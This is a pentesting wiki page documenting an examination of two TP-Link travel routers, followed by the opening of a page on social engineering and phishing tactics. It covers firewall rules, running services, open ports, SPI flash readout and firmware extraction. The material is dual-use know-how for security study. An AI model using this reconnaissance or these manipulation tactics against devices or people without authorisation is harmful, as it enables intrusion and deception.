<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ Default IPtables</div>
<div class="mw-collapsible-content">

<div style="font-size: 11px">
<syntaxhighlight lang="Bash"># cat /var/tmp/dconf/rc.router
#!/bin/sh

#delete old rules
/etc/iptables-stop

#enable ip forward
echo "1" > /proc/sys/net/ipv4/ip_forward
/etc/iptables-stop

#set policy
iptables -P INPUT DROP
iptables -P FORWARD DROP
iptables -P OUTPUT ACCEPT
iptables -t nat -P PREROUTING ACCEPT
iptables -t nat -P POSTROUTING ACCEPT
iptables -t nat -P OUTPUT ACCEPT

iptables -N CTL
iptables -N FORWARD_DMZ
iptables -N FORWARD_UPNP
iptables -N FORWARD_UPNP_SECCONN
iptables -N FORWARD_PT
iptables -N FORWARD_VS
iptables -N FORWARD_VPN_PASSTHROUGH
iptables -N PARENTCTL
iptables -N PCRULE
iptables -N PCDROP
iptables -N FIREWALL
iptables -N FIREWALL_DDOS
iptables -N FWRULE
iptables -N FWD_MARK_LAN
iptables -N FWD_MARK_WAN
iptables -N OUTPUT_MARK_LOCAL
iptables -N BRIDGE_ISOLATION
iptables -t nat -N PREROUTING_DMZ

iptables -t nat -N PREROUTING_UPNP
iptables -t nat -N PREROUTING_UPNP_SECCONN
iptables -t nat -N PREROUTING_PT
iptables -t nat -N PREROUTING_VS
iptables -t nat -N POSTROUTING_NATLOOPBACK_VS
iptables -t nat -N POSTROUTING_NATLOOPBACK_UPNP
iptables -t nat -N NATLOOPBACK_UPNP_SECCONN
iptables -t nat -N POSTROUTING_NATLOOPBACK_DMZ
iptables -I OUTPUT -j OUTPUT_MARK_LOCAL
iptables -t filter -A FORWARD -o br+ -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
iptables -A FORWARD -j CTL
iptables -t filter -A FORWARD -i br+ -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
iptables -A FORWARD ! -i br+ -j FORWARD_VS
iptables -A FORWARD -j FORWARD_PT
iptables -A FORWARD ! -i br+ -j FORWARD_UPNP
iptables -A FORWARD ! -i br+ -j FORWARD_UPNP_SECCONN
iptables -A FORWARD ! -i br+ -j FORWARD_DMZ
iptables -A FORWARD -j FORWARD_VPN_PASSTHROUGH
iptables -t nat -A PREROUTING ! -i br+ -d 255.255.255.255 -p udp --sport 67 --dport 68 -j ACCEPT
iptables -t nat -A PREROUTING -d 224.0.0.0/4 -j ACCEPT
iptables -t nat -A PREROUTING -j PREROUTING_VS
iptables -t nat -A PREROUTING -j PREROUTING_PT
iptables -t nat -A PREROUTING -j PREROUTING_UPNP
iptables -t nat -A PREROUTING -j PREROUTING_UPNP_SECCONN
iptables -t nat -A POSTROUTING -j POSTROUTING_NATLOOPBACK_VS
iptables -t nat -A POSTROUTING -j POSTROUTING_NATLOOPBACK_UPNP
iptables -t nat -A POSTROUTING -j NATLOOPBACK_UPNP_SECCONN
iptables -t nat -A POSTROUTING -j POSTROUTING_NATLOOPBACK_DMZ
iptables -t nat -A PREROUTING -j PREROUTING_DMZ

iptables -t filter -A FORWARD -i br+ -j ACCEPT
iptables -t filter -A FORWARD -d 224.0.0.0/4 -j ACCEPT
iptables -t filter -A INPUT -i lo -p ALL -j ACCEPT -m comment --comment "loop back"
iptables -t filter -A INPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
iptables -t filter -A INPUT -d 224.0.0.0/4 -j ACCEPT
iptables -A INPUT -p udp ! -i br+ --sport 67 --dport 68 -j ACCEPT
iptables -A INPUT -p udp --dport 161 -j ACCEPT</syntaxhighlight>

<syntaxhighlight lang="Bash"># iptables -nvL
Chain INPUT (policy DROP 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
12 4449 ACCEPT all -- lo * 0.0.0.0/0 0.0.0.0/0 /* loop back */
2316 206K ACCEPT all -- * * 0.0.0.0/0 0.0.0.0/0 ctstate RELATED,ESTABLISHED
26 4240 ACCEPT all -- * * 0.0.0.0/0 224.0.0.0/4
0 0 ACCEPT udp -- !br+ * 0.0.0.0/0 0.0.0.0/0 udp spt:67 dpt:68
0 0 ACCEPT udp -- * * 0.0.0.0/0 0.0.0.0/0 udp dpt:161
216 14556 ACCEPT all -- br+ * 0.0.0.0/0 0.0.0.0/0

Chain FORWARD (policy DROP 0 packets, 0 bytes)
pkts bytes target prot opt in out source destination
0 0 ACCEPT all -- * br+ 0.0.0.0/0 0.0.0.0/0 ctstate RELATED,ESTABLISHED
0 0 CTL all -- * * 0.0.0.0/0 0.0.0.0/0
0 0 ACCEPT all -- br+ * 0.0.0.0/0 0.0.0.0/0 ctstate RELATED,ESTABLISHED
0 0 FORWARD_VS all -- !br+ * 0.0.0.0/0 0.0.0.0/0
0 0 FORWARD_PT all -- * * 0.0.0.0/0 0.0.0.0/0
0 0 FORWARD_UPNP all -- !br+ * 0.0.0.0/0 0.0.0.0/0
0 0 FORWARD_UPNP_SECCONN all -- !br+ * 0.0.0.0/0 0.0.0.0/0
0 0 FORWARD_DMZ all -- !br+ * 0.0.0.0/0 0.0.0.0/0
0 0 FORWARD_VPN_PASSTHROUGH all -- * * 0.0.0.0/0 0.0.0.0/0
0 0 ACCEPT all -- br+ * 0.0.0.0/0 0.0.0.0/0
0 0 ACCEPT all -- * * 0.0.0.0/0 224.0.0.0/4

Chain OUTPUT (policy ACCEPT 1954 packets, 3746K bytes)
pkts bytes target prot opt in out source destination
1981 3755K OUTPUT_MARK_LOCAL all -- * * 0.0.0.0/0 0.0.0.0/0

Chain BRIDGE_ISOLATION (0 references)
pkts bytes target prot opt in out source destination

Chain CTL (1 references)
pkts bytes target prot opt in out source destination

Chain FIREWALL (0 references)
pkts bytes target prot opt in out source destination

Chain FIREWALL_DDOS (0 references)
pkts bytes target prot opt in out source destination

Chain FORWARD_DMZ (1 references)
pkts bytes target prot opt in out source destination

Chain FORWARD_PT (1 references)
pkts bytes target prot opt in out source destination

Chain FORWARD_UPNP (1 references)
pkts bytes target prot opt in out source destination

Chain FORWARD_UPNP_SECCONN (1 references)
pkts bytes target prot opt in out source destination

Chain FORWARD_VPN_PASSTHROUGH (1 references)
pkts bytes target prot opt in out source destination

Chain FORWARD_VS (1 references)
pkts bytes target prot opt in out source destination

Chain FWD_MARK_LAN (0 references)
pkts bytes target prot opt in out source destination

Chain FWD_MARK_WAN (0 references)
pkts bytes target prot opt in out source destination

Chain FWRULE (0 references)
pkts bytes target prot opt in out source destination

Chain OUTPUT_MARK_LOCAL (1 references)
pkts bytes target prot opt in out source destination

Chain PARENTCTL (0 references)
pkts bytes target prot opt in out source destination

Chain PCDROP (0 references)
pkts bytes target prot opt in out source destination

Chain PCRULE (0 references)
pkts bytes target prot opt in out source destination</syntaxhighlight>
</div>

</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ Running processes</div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="Bash"> PID USER VSZ STAT COMMAND
1 admin 1068 S init
2 admin 0 SW [kthreadd]
3 admin 0 SW [ksoftirqd/0]
4 admin 0 SW [kworker/0:0]
5 admin 0 SW [kworker/u:0]
6 admin 0 SW< [khelper]
7 admin 0 SW [kworker/u:1]
44 admin 0 SW [sync_supers]
46 admin 0 SW [bdi-default]
48 admin 0 SW< [kblockd]
79 admin 0 SW [kswapd0]
81 admin 0 SW< [crypto]
642 admin 0 SW [mtdblock0]
647 admin 0 SW [mtdblock1]
652 admin 0 SW [mtdblock2]
657 admin 0 SW [mtdblock3]
662 admin 0 SW [mtdblock4]
667 admin 0 SW [mtdblock5]
672 admin 0 SW [mtdblock6]
690 admin 0 SW [kworker/0:1]
731 admin 0 SW [khubd]
777 admin 3132 S cos
778 admin 1068 S /bin/sh
867 admin 2300 S igmpd
870 admin 2320 S mldProxy
871 admin 3132 S cos
872 admin 3132 S cos
873 admin 3132 S cos
876 admin 2264 S ntpc
880 admin 2272 S dyndns /var/tmp/dconf/dyndns.conf
883 admin 2272 S noipdns /var/tmp/dconf/noipdns.conf
886 admin 2272 S cmxdns /var/tmp/dconf/cmxdns.conf
982 admin 0 SW [RtmpCmdQTask]
983 admin 0 SW [RtmpWscTask]
984 admin 0 SW [RtmpMlmeTask]
997 admin 1244 S wlNetlinkTool
1000 admin 1244 S wlNetlinkTool
1001 admin 1244 S wlNetlinkTool
1003 admin 1080 S wscd -i ra0 -m 1 -w /var/tmp/wsc_upnp/
1042 admin 0 SW [RtmpCmdQTask]
1043 admin 0 SW [RtmpWscTask]
1058 admin 1080 S wscd_5G -i rai0 -m 1 -w /var/tmp/wsc_upnp_5G/
1062 admin 2840 S httpd
1065 admin 1764 S upnpd -L br0 -W eth0.2 -en 1 -P eth0.2 -nat 0 -port
1077 admin 2260 S dnsProxy
1080 admin 1068 S dhcpd /var/tmp/dconf/udhcpd.conf
1097 admin 1156 S dhcp6s -c /var/tmp/dconf/dhcp6s_br0.conf -P /var/run
1100 admin 2880 S tmpd
1104 admin 1764 S upnpd -L br0 -W eth0.2 -en 1 -P eth0.2 -nat 0 -port
1105 admin 1764 S upnpd -L br0 -W eth0.2 -en 1 -P eth0.2 -nat 0 -port
1106 admin 1764 S upnpd -L br0 -W eth0.2 -en 1 -P eth0.2 -nat 0 -port
1107 admin 1764 S upnpd -L br0 -W eth0.2 -en 1 -P eth0.2 -nat 0 -port
1108 admin 1764 S upnpd -L br0 -W eth0.2 -en 1 -P eth0.2 -nat 0 -port
1109 admin 1764 S upnpd -L br0 -W eth0.2 -en 1 -P eth0.2 -nat 0 -port
1110 admin 1764 S upnpd -L br0 -W eth0.2 -en 1 -P eth0.2 -nat 0 -port
1111 admin 2740 S tdpd
1115 admin 992 R dhcpc
1124 admin 1036 S zebra -d -f /var/tmp/dconf/zebra.conf
1138 admin 2264 S diagTool
1187 admin 2464 S ushare
1193 admin 2464 S ushare
1195 admin 2464 S ushare
1196 admin 2464 S ushare
1197 admin 2464 S ushare
1198 admin 2464 S ushare
1199 admin 2464 S ushare
1202 admin 2464 S ushare
1215 admin 904 S vsftpd
1219 admin 3908 S smbd -D
1226 admin 3908 S smbd -D
1264 admin 2788 S tddp
1285 admin 1136 S dropbear -p 22 -r /var/tmp/dropbear/dropbear_rsa_hos
1292 admin 1060 R ps</syntaxhighlight>

</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ Interface Configuration</div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="Bash">
eth0 Link encap:Ethernet HWaddr 98:DA:C4:6E:00:FC
eth0.3 Link encap:Ethernet HWaddr 98:DA:C4:6E:00:FC
eth0.4 Link encap:Ethernet HWaddr 98:DA:C4:6E:00:FC
eth0.5 Link encap:Ethernet HWaddr 98:DA:C4:6E:00:FC
eth0.6 Link encap:Ethernet HWaddr 98:DA:C4:6E:00:FC
ra0 Link encap:Ethernet HWaddr 98:DA:C4:6E:00:FC
br0 Link encap:Ethernet HWaddr 98:DA:C4:6E:00:FC
LAN inet addr:192.168.1.1 Bcast:192.168.1.255 Mask:255.255.255.0

eth0.2 Link encap:Ethernet HWaddr 98:DA:C4:6E:00:FD
WAN inet addr:192.168.0.101 Bcast:192.168.0.255 Mask:255.255.255.0

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0

rai0 Link encap:Ethernet HWaddr 98:DA:C4:6E:00:FB</syntaxhighlight>

</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ Wireless Intercafe Configuration</div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="Bash">
lo no wireless extensions.
ifb0 no wireless extensions.
ifb1 no wireless extensions.
sit0 no wireless extensions.
ip6tnl0 no wireless extensions.
eth0 no wireless extensions.
br0 no wireless extensions.
eth0.3 no wireless extensions.
eth0.4 no wireless extensions.
eth0.5 no wireless extensions.
eth0.6 no wireless extensions.
eth0.2 no wireless extensions.

ra0 RTWIFI SoftAP ESSID:"TP-Link_00FC"
Mode:Managed Channel=3 Access Point: 98:DA:C4:6E:00:FC
Bit Rate=300 Mb/s

ra1 RTWIFI SoftAP ESSID:"TP-Link_Guest_00FC"
Mode:Managed Channel=3 Access Point: 9A:DA:C4:7E:00:FC
Bit Rate=300 Mb/s

apcli0 RTWIFI SoftAP ESSID:""
Mode:Managed Channel=3 Access Point: Not-Associated
Bit Rate:300 Mb/s

rai0 RTWIFI SoftAP ESSID:"TP-Link_00FC_5G"
Mode:Managed Channel=36 Access Point: 98:DA:C4:6E:00:FB
Bit Rate=433.5 Mb/s

rai1 RTWIFI SoftAP ESSID:"TP-Link_Guest_00FC_5G"
Mode:Managed Channel=36 Access Point: 9A:DA:C4:6C:00:FB
Bit Rate=433.5 Mb/s

apclii0 RTWIFI SoftAP ESSID:""
Mode:Managed Channel=36 Access Point: Not-Associated
Bit Rate:150 Mb/s</syntaxhighlight>

</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ Open Ports</div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="JavaScript">cat /proc/net/tcp
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
0: 0100007F:4E22 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 604 1 830ec040 300 0 0 2 -1
1: 0101A8C0:008B 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 1057 1 830ed580 300 0 0 2 -1
2: 00000000:076C 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 618 1 830ec480 300 0 0 2 -1
3: 00000000:0050 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 548 1 830ed9c0 300 0 0 2 -1
4: 00000000:0015 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 1029 1 830ecd00 300 0 0 2 -1
5: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 1090 1 80c279e0 300 0 0 2 -1
6: 00000000:9FFB 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 994 1 830ec8c0 300 0 0 2 -1
7: 0101A8C0:01BD 00000000:0000 0A 00000000:00000000 00:00000000 00000000 0 0 1056 1 830ed140 300 0 0 2 -1
8: 0101A8C0:0050 6401A8C0:D633 06 00000000:00000000 03:000001C8 00000000 0 0 0 3 832f6840<

/* Resolved
sl local_address rem_address
0: 127.0.0.1 :20002
1: 192.168.1.1 :139
2: 0.0.0.0 :190
3: 0.0.0.0 :80
4: 0.0.0.0 :21
5: 0.0.0.0 :22
6: 0.0.0.0 :40955
7: 192.168.1.1 :445
// Client connection
8: 192.168.1.1 :80 192.168.1.100:54445*/</syntaxhighlight>

</div>
</div>

<h3>Exploit Memory Chips</h3>

<h4>In-Circuit</h4>

<b>SPI Flash</b>

<div style="text-align: justify;">Both examined devices use SPI NOR Flash (SOP8) to store data and/or (parts of) the firmware. The TL-WR902AC additionally uses a NAND flash chip, to which the chip-off data extraction needs to be applied. SPI (Serial Peripheral Interface) is a serial interface similar to UART. However, it is mainly used for communication between hardware components and offers a simple and efficient alternative to parallel bus systems following a master/slave architecture, which makes it very suitable for embedded applications. The focus of this work is on the use of SPI in combination with flash chips. With certain chip packages (e.g., SOP8/16), all data of the flash chip can be retrieved using SPI without having to unsolder the flash chip. In-Circuit Data Extraction allows chips to be read out without having to desolder them, which is only possible with chips of certain packages where the leads are exposed. Examples are NOR flash chips and EEPROMs of the Small-Outline Package (SOP), which use SPI or I2C. The SOP8 chips in this case could be read out using an SOP8 Clip and a CH341H programmer.</div>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: TL-WR902AC: [https://www.winbond.com/resource-files/w25q64cv_revh_052214[2].pdf 25Q64CSIG]. TL-WR802N: [https://www.winbond.com/resource-files/w25q64jv%20spi%20%20%20revc%2006032016%20kms.pdf Winbond 25Q64JVS10]. Not processed yet.</div>

<h2>Firmware</h2>

<h3>Download</h3>
<h4>Current Version</h4>
<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: VX describes the Hardware version X</div>

<div style="border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Warning</b>: Need to review links and complete the list.</div>

<b>TL-WR902AC</b>
<table class="wikitable" style="width: 100%">
<tr><th style="text-align: left; width: 20px">CC</th><th style="text-align: left">Hardware Version</th></tr>
<tr><td style="width: 20px">US</td><td>[https://www.tp-link.com/us/support/download/tl-wr902ac/v1/#Firmware V1], [https://www.tp-link.com/us/support/download/tl-wr902ac/v3/#Firmware V3]</td></tr>
<tr><td style="width: 20px">EU</td><td>[https://www.tp-link.com/eu/support/download/tl-wr902ac/v1/#Firmware V1], [https://www.tp-link.com/eu/support/download/tl-wr902ac/v3/#Firmware V3]</td></tr>
<tr><td style="width: 20px">JP</td><td>[https://www.tp-link.com/jp/support/download/tl-wr902ac/v1/#Firmware V1], [https://www.tp-link.com/jp/support/download/tl-wr902ac/v3/#Firmware V3]</td></tr>
</table>

<b>TL-WR802N</b>
<table class="wikitable" style="width: 100%">
<tr><th style="text-align: left; width: 20px">CC</th><th style="text-align: left">Hardware Version</th></tr>
<tr><td style="width: 20px">US</td><td>[https://www.tp-link.com/us/support/download/tl-wr802n/v1/#Firmware V1], [https://www.tp-link.com/us/support/download/tl-wr802n/v2/#Firmware V2], [https://www.tp-link.com/us/support/download/tl-wr802n/v4/#Firmware V4]</td></tr>
<tr><td style="width: 20px">DE</td><td>[https://www.tp-link.com/de/support/download/tl-wr802n/v1/#Firmware V1], [https://www.tp-link.com/de/support/download/tl-wr802n/v2/#Firmware V2], [https://www.tp-link.com/de/support/download/tl-wr802n/v3/#Firmware V3], [https://www.tp-link.com/de/support/download/tl-wr802n/v4/#Firmware V4]</td></tr>
<tr><td style="width: 20px">AT</td><td>[https://www.tp-link.com/at/support/download/tl-wr802n/v1/#Firmware V1], [https://www.tp-link.com/at/support/download/tl-wr802n/v2/#Firmware V2]</td></tr>
<tr><td style="width: 20px">JP</td><td>[https://www.tp-link.com/jp/support/download/tl-wr802n/v1/#Firmware V1], [https://www.tp-link.com/jp/support/download/tl-wr802n/v2/#Firmware V2], [https://www.tp-link.com/jp/support/download/tl-wr802n/v3/#Firmware V3], [https://www.tp-link.com/jp/support/download/tl-wr802n/v4/#Firmware V4]</td></tr>
</table>

<h4>Known Versions</h4>
<b>TL-WR902AC</b>
<table class="wikitable" style="width: 100%">
<tr><th style="text-align: left; width: 40px">CC</th><th style="text-align: left">HW</th><th style="text-align: left">Firmware Version</th></tr>

<tr><td style="width: 20px">EU</td><td style="width: 20px">V1</td><td>[https://static.tp-link.com/TL-WR902AC(EU)_V1_170628.zip 170628], [https://static.tp-link.com/TL-WR902AC(EU)_V1_160905.zip 160905]</td></tr>
<tr><td style="width: 20px">US</td><td style="width: 20px">V1</td><td>[https://static.tp-link.com/TL-WR902AC(US)_V1_160905.zip 160905]</td></tr>

<tr><td style="width: 20px">EU</td><td style="width: 20px">V3</td><td>[https://static.tp-link.com/2019/201912/20191213/TL-WR902AC(EU)_V3_191018.zip 191018], <b>[https://static.tp-link.com/2017/201712/20171208/TL-WR902AC(EU)_V3_170828.zip 170828]</b>, [https://static.tp-link.com/TL-WR902AC(EU)_V3_170717.zip 170717]</td></tr>
<tr><td style="width: 20px">US</td><td style="width: 20px">V3</td><td>[https://static.tp-link.com/2020/202001/20200119/TL-WR902AC(US)_V3_191209.zip 191209], [https://static.tp-link.com/2018/201803/20180327/TL-WR902AC(US)_V3_171229.zip 171229], [https://static.tp-link.com/2017/201712/20171215/TL-WR902AC(US)_V3_170826.zip 170826]</td>
</table>

<h4>Third-Party-Firmware</h4>
<p style="text-align: justify">The original firmware of some TP-Link products can be replaced with third-party firmware such as [https://dd-wrt.com DD-WRT]. TP-Link is not obligated to provide support or warranty for such modified devices, nor is it responsible for their stability or performance. TP-Link will not replace any damage caused by third-party firmware.</p>

<h3>Extraction</h3>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;">
<div style="line-height:1.6;">ⓘ Using <b>[https://github.com/rampageX/firmware-mod-kit/wiki firmware-mod-kit]</b></div>
<div class="mw-collapsible-content">
<div style="font-size: 12px !important">

<nowiki></nowiki><b>$ ./firmware-mod-kit/extract-firmware.sh ./Firmware/V3/TL-WR902AC(EU)_V3_191018/TL-WR902ACv3_EU_0.9.1_0.3_up_boot[191018-rel34369].bin</b><nowiki>
Firmware Mod Kit (extract) 0.99, (c)2011-2013 Craig Heffner, Jeremy Collake

Scanning firmware...

Scan Time: 2020-06-20 03:58:35
Target File: ./Firmware/V3/TL-WR902AC(EU)_V3_191018/TL-WR902ACv3_EU_0.9.1_0.3_up_boot[191018-rel34369].bin
MD5 Checksum: 4e87ca6fb7717bb509e843fbac2d060e
Signatures: 344

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
82384 0x141D0 U-Boot version string, "U-Boot 1.1.3 (Oct 18 2019 - 09:12:58)"
132096 0x20400 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 3634292 bytes
1442304 0x160200 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 6375860 bytes, 759 inodes, blocksize: 131072 bytes, created: 2019-10-18 01:32:50

Extracting 1442304 bytes of header image at offset 0
Extracting squashfs file system at offset 1442304
Extracting squashfs files...
Firmware extraction successful!</nowiki>

</div>
</div>
</div>

<h3>GPL Code</h3>

<b>TL-WR902AC</b>
<table class="wikitable" style="width: 100%">
<tr><th style="text-align: left; width: 20px">CC</th><th style="text-align: left">Hardware Version</th></tr>
<tr><td style="width: 20px">US</td><td>[https://static.tp-link.com/resources/gpl/gpl_902acv1_eu.tar.gz V1], [https://static.tp-link.com/resources/gpl/GPL_WR902AC_NEW.tar.gz V3]</td></tr>
<tr><td style="width: 20px">EU</td><td></td></tr>
</table>

<div style="border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Note</b>: [https://www.tp-link.com/at/support/gpl-code/ GPL-Code-Center]</div>

<div style="border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; text-align: justify"><b>Warning</b>: Had a bad day? Try some developer notes! 谢谢！</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);">
<div style="line-height:1.6;">ⓘ Developer notes</div>
<div class="mw-collapsible-content">

<syntaxhighlight lang="C">/* Find it out, where you are? ^_^, update config first */

/* Bug ^_^ be careful */

/* Do not care about the others now */
default:
DEBUG("we don't care it,^_^!");
break;
}

/*
* brief: just rebuild all ,so what about big big disk? just pray ^_^
* maybe use sqlite... in the future.
*/

/* Do it again and again are you tired ^_^? */

/* For passing test, and let the customer be happy, we ... ^_^, it is not so bad */</syntaxhighlight>
</div>
</div>

<h1>References</h1>
<b>TP-Link</b>
<table class="wikitable" style="width: 100%">
<tr>
<th style="text-align: left; width: 150px">Description</th>
<th style="text-align: left">Link</th>
</tr>
<tr>
<td style="width: 150px">TP-Link</td>
<td>https://www.tp-link.com/at/ (accessed 20 June 2020)<br>
https://www.tp-link.com/us/ (accessed 20 June 2020)</td>
</tr>
<tr>
<td style="width: 150px">Awards</td>
<td>https://www.tp-link.com/at/press/award/ (accessed 20 June 2020)</td>
</tr>
</table>

<b>TP-Link TL-WR902AC: AC750 Wifi - Travel Router</b>
<table class="wikitable" style="width: 100%">
<tr>
<th style="text-align: left; width: 150px">Description</th>
<th style="text-align: left">Link</th>
</tr>
<tr>
<td style="width: 150px">Product</td>
<td>https://www.tp-link.com/at/home-networking/wifi-router/tl-wr902ac/ (accessed 20 June 2020)<br>
https://www.tp-link.com/us/home-networking/wifi-router/tl-wr902ac/ (accessed 19 June 2020)</td>
</tr>
<td style="width: 150px">Support</td>
<td>https://www.tp-link.com/at/support/download/tl-wr902ac/ (accessed 20 June 2020)<br>
https://www.tp-link.com/us/support/download/tl-wr902ac/ (accessed 20 June 2020)</td>
</tr>
<tr>
<td style="width: 150px">Datasheet</td>
<td>https://static.tp-link.com/TL-WR902AC.pdf (accessed 19 June 2020)</td>
</tr>
</table>

<b>TP-Link TL-WR802N: 300Mbps Wireless N - Nano Router</b>
<table class="wikitable" style="width: 100%">
<tr>
<th style="text-align: left; width: 150px">Description</th>
<th style="text-align: left">Link</th>
</tr>
<tr>
<td style="width: 150px">Product</td>
<td>https://www.tp-link.com/at/home-networking/wifi-router/tl-wr802n/ (accessed 24 June 2020)<br>
https://www.tp-link.com/us/home-networking/wifi-router/tl-wr802n/ (accessed 24 June 2020)</td>
</tr>
<tr>
<td style="width: 150px">Support</td>
<td>https://www.tp-link.com/at/support/download/tl-wr802n/ (accessed 24 June 2020)<br>
https://www.tp-link.com/us/support/download/tl-wr802n/ (accessed 24 June 2020)</td>
</tr>
<tr>
<td style="width: 150px">Datasheet</td>
<td>https://static.tp-link.com/2018/201810/20181022/TL-WR802N(EU&US)%204.0-datasheet.pdf (accessed 24 June 2020)</td>
</tr>
</table>

<b>Other</b>
<table class="wikitable" style="width: 100%">
<tr>
<th style="text-align: left; width: 150px">Description</th>
<th style="text-align: left">Link</th>
</tr>
<tr>
<td style="width: 150px">Dropbear Configuration</td>
<td>https://openwrt.org/docs/guide-user/base-system/dropbear (accessed 28 June 2020)</td>
</tr>
</table>

<h1>Vulnerability Reports</h1>
<table class="wikitable" style="width: 100%">
<tr>
<th style="text-align: left; width: 150px">Description</th>
<th style="text-align: left">Link</th>
</tr>
<tr>
<td style="width: 150px">TL-WR840N (1)</td>
<td>https://www.cvedetails.com/cve/CVE-2019-15060/</td>
</tr>
<tr>
<td style="width: 150px">Busybox 1.19.2 (5)</td>
<td>[https://www.cvedetails.com/version/129256/Busybox-Busybox-1.19.2.html https://www.cvedetails.com] (accessed 1 July 2020)</td>
</tr>
<tr>
<td style="width: 150px">Linux 2.6.36 (233)</td>
<td>[https://www.cvedetails.com/vulnerability-list/vendor_id-33/product_id-47/version_id-123837/Linux-Linux-Kernel-2.6.36.html https://www.cvedetails.com] (accessed 1 July 2020)</td>
</tr>
<tr>
<td style="width: 150px">TP-Link (123)</td>
<td>[https://www.cvedetails.com/vulnerability-list.php?vendor_id=11936&product_id=0&version_id=0&page=1&hasexp=0&opdos=0&opec=0&opov=0&opcsrf=0&opgpriv=0&opsqli=0&opxss=0&opdirt=0&opmemc=0&ophttprs=0&opbyp=0&opfileinc=0&opginf=0&cvssscoremin=0&cvssscoremax=0&year=0&cweid=0&order=1&trc=123&sha=35781d9525571cd66feb101a1896e97c0bad1d33 https://www.cvedetails.com] (accessed 1 July 2020)</td>
</tr>
</table>

<h1>Used Hardware</h1>
<ul>
<li>[[TP-Link TL-WR902AC: AC750 Wifi - Travel Router]]</li>
<li>[[TP-Link TL-WR802N: 300Mbps Wireless N - Nano Router]]</li>
</ul>

</div>
[[Category:Documentation]]
[[Category:Pentesting]]

Examination of TP-Link devices

2024-03-12T17:24:52Z

Ikramer:

Examination of iSmartAlarm devices

2024-03-12T17:23:41Z

Ikramer:

Examination of LUPUS-Electronics devices

2024-03-12T17:23:08Z

Ikramer:

Social Engineering & Phishing Platform

2024-03-12T17:22:29Z

Ikramer:

== Social Engineering ==

'''Social Engineering''' is a kind of cyber attack that influences a person to take an action that may or may not be in their best interests, according to Hadnagy. It relies on psychological manipulation with the goal of making individuals perform actions or share confidential information.

=== Social Engineering Attack Cycle ===

Social engineering is a process that requires a deep understanding of psychology, keen senses, and tons of research in order to gain trust and access. The cycle typically involves the following stages:
;Research
: Gathering information about the target before initiating any communication. This includes studying freely accessible websites, social media profiles, and other public sources.
;Developing a Relationship
: Applying the information from the “research” stage, to establish trust or authority with the target. The goal is to convince the target to provide information or grant access seemingly of their own free will.
;Exploiting the Connection
: Asking for the desired action or information while maintaining the target's trust to avoid suspicion.
;Utilizing Information
: Reusing gathered information or access in following attacks until the original objective is achieved.

== Social Engineering Attack Methods ==

Social engineering encompasses various methods, including physical and psychological tactics, to gain unauthorized access.

===Physical Attacks===
;Tailgating:
:Gaining access to restricted areas by following authorized personnel.
;Shoulder Surfing:
:Secretly observing confidential information, such as passwords or PINs, by watching individuals operate devices.
;Dumpster Diving:
:Sorting through discarded materials to obtain valuable information like passwords, customer numbers, or contracts.

===Psychological Attacks===
;Reciprocity:
: Offering favours to create a sense of obligation to reciprocate.
;Obligation
: Evoking a feeling of duty or cooperation to comply with requests.
;Free Information
: Extracting seemingly harmless information through casual conversation.
;Authority
: Exploiting the perceived authority of figures to compel compliance.
;Desire to Help
:Faking distress to evoke sympathy and manipulate individuals into offering assistance.

==Phishing==
Phishing is a subfield of social engineering, which includes multiple strategies and methods aimed to gain personal information from targets.
These attacks can be executed through various mediums such as Mail, text messages, or phone calls, and can be customized to the individual or sent out on a larger scale. In the following paragraphs multiple methods are shown.

;Mail Phishing
: Mail phishing is a well-known method, attackers impersonate legitimate sources and send emails to a wide range of Mail addresses. These often contain links or forms to fill out. These emails typically create a sense of urgency to prompt action.
;Spear Phishing
